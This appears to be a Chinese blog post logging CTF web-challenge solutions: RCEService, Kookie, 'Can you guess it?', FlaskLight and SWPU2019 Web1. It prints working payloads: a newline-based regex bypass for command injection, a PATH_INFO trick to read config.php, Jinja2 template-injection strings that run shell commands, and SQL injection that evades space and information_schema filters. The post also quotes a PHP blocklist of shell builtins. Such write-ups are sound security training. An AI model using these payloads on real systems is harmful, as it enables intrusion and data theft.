1.28刷题

1.[FBCTF2019]RCEService

因为这个题目的输入提示是要以json方式输入,百度来了json格式输入模板

注入json格式数据

https://blog.youkuaiyun.com/weixin_35771144/article/details/105782239

当注入点在json格式数据中时sqlmap可能找不到注入点,使用-p指定参数又不好指定json格式中的字段,
  这个时候就需要人工修改一下注入的json数据,使SQLMAP能够找到注入参数。例如

{"name":["string"]}

将其修改为以下两种形式都可以使SQLMAP找到该注入点(而不是直接跳过):
  // 方式1,加*

{"name":["string*"]}

// 方式2,删掉中括号

{"name":"string"}

先随便输一些

{"cmd":"ls /"}                //可能是正则匹配掉了空格

应该是过滤了很多东西

{"cmd":"ls"}           //可能是正则匹配掉了空格,这样查询当前目录就可以正确执行

因为preg_match只能匹配一行,用%0A截断,

{%0A"cmd":"ls /"%0A}

在别人的wp上看到了源码,源码中给出了一条路径

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>
{%0A"cmd":"ls /home/rceservice"%0A}

{%0A"cmd":"cat /home/rceservice/flag"%0A}

但是这里不能直接使用cat,因为这里的putenv函数会改变环境变量,那么就要用绝对路径来调用系统命令

cat命令在/bin中保存

putenv('PATH=/home/rceservice/jail');
{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

2.[BSidesCF 2019]Kookie

根据题目的名字,这题应该与cookie有关,打开页面发现提示要用admin登录,并且账户还有cookie和monster两个

在网页中直接username和password都用admin登录,但是是无效的,抓包后,先在cookie头添加账户monster=admin,但是这样没有回显,加上了cookie账户还是没有回显,原来是要把原来url后面get方式传入的参数放在cookie头传入

monster=admin
username=admin;password=admin

3.[Zer0pts2020]Can you guess it?

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));            //basename() 函数返回路径中的文件名部分。
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
补充函数注意
basename() 函数返回路径中的文件名部分。
basename(path,suffix) 
path:必需,规定要检查的路径
suffix:可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名。

$_SERVE[‘PHP_SELF’] 读取的是当前执行脚本的文件名
不是简单的理解成 url 中的文件名
因为 url 中的文件名可能不存在
https://blog.youkuaiyun.com/ckxkobe/article/details/85238430

因为源码中正则匹配掉了config.php,所以我们不可以直接访问,但是flag又在这个文件中,

因为PHP_SElF这个变量会返回匹配到的结尾的文件,例如如果路径是/index.php/config.php,浏览器的解析结果都是index.php,但是basename会返回config.php

这个题目如果访问的是/index.php/config.php(运行的是index.php), 这种情况下$_SERVER['PHP_SELF']/index.php/config.php,但basename返回的是config.php,因此highlight_file会将config.php的内容显示出来。也就是说,如果绕过了这个检查,我们就能够得到FLAG。

<?php
echo basename('/index.php/congit.php');
?>

看来了别人的wp知道这里可以找出可以绕过正则匹配的字符,用了别人写的脚本,这里是找出

<?php
function check($str){
    return preg_match('/config\.php\/*$/i', $str);
}
for ($i = 0; $i < 255; $i++){
    $s = '/index.php/config.php/'.chr($i);
    if(!check($s)){
        $t = basename('/index.php/config.php/'.chr($i));
        echo "${i}: ${t}\n";
    }
}
?>

从ascll码大于129的url编码都可以绕过,129的16进制表示是0x81,将0x用%表示,再用?source读取

/index.php/config.php/%81?source

4.[CSCCTF 2019 Qual]FlaskLight

这里提到了flask,是ssti的一种模板,猜测应该是模板注入,查看源码,源码中有被注释掉的提示,提示这里应该用get方式传入search参数

根据这张图片测试以下注入的模板

?search={7*7}

?search={{7*7}}

?search={{7*'7'}}

根据测试的规则,这是jinja2注入

Flask/Jinja2
     {{ config.items() }}
     {{''.__class__.__mro__[-1].__subclasses__()}}
().__class__.__bases__[0].__subclasses__() 
---查看可用模块

().__class__.base__.__subclasses__().index(warnings.catch_warnings)
{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
发现可以执行,构造命令
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
寻找执行命可以借助的类
    a. 获取变量[]所属的类名 {{[].__class__}}
    页面回显 <type 'list'>
    b. 获取list所继承的基类名 {{[].__class__.__base__}}
    页面回显 <type 'object'>
    c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}
    这里回显了很长一个列表,这里可以将这些数据放在列表中,通过list.index输出想要的类在第几位。不过需要对这传数据进行简单的处理(将<>换成"")

Payload

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

由于使用[‘globals’]会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式[‘glo’+'bals’]

读取目录flasklight

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}

读取coomme_geeeett_youur_flek得到flag

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}

https://i-blog.csdnimg.cn/blog_migrate/fa0c87badb6304cc5598abf12a5a3c96.png

内含os模块的类 class’site._Printer’

  a. 目录查询
    {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
    因为这里listdir同样被ban了
   b. 读取目录flasklight
    {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()}}
    c. 读取flag
    {{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()}}

5.39.[SWPU2019]Web1

二次注入

先注册一个账号登录,回想起之前做的二次注入,本来以为登陆的地方是注入点,但是,如果在登陆的时候注入就会登录失败,看了别人的wp,发现这个是留言板二次注入

留言板二次注入
我们申请广告的时候数据库将我们输入的恶意字符进行转义,但是写入数据库的时候会将数据还原。当点击查看广告详情的时候数据库对查询到的结果并未严格过滤,导致了二次注入。

-1'union select 1,2,'3

https://i-blog.csdnimg.cn/blog_migrate/e58a67572a1f54bf7a8476427d39350a.png

根据题目里面的回显,这里过滤掉了空格,空格在回显的语句里面显示不出来,这里我们可以用/**/代替空格

-1'union/**/select/**/1,2,'3

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

https://img-blog.csdnimg.cn/2021012817550398.png

有22列

因为这题过滤掉了information_schema,找到一个应对这个数据库不能使用的博客

[]: https://www.anquanke.com/post/id/193512

information_schema

简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。

在注入中,infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。

[[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9OBtHxRq-1611834741311)(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC)]](https://i.loli.net/2019/11/24/Hzf4yvMtaEhDqVU.png

MySQL5.7的新特性

由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

所以这里可以用这样的注入语句

爆出表名

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

爆出列名

-1'union/**/select/**/1,(select/**/group_concat(f)/**/from(select/**/1,2,3/**/as/**/f/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值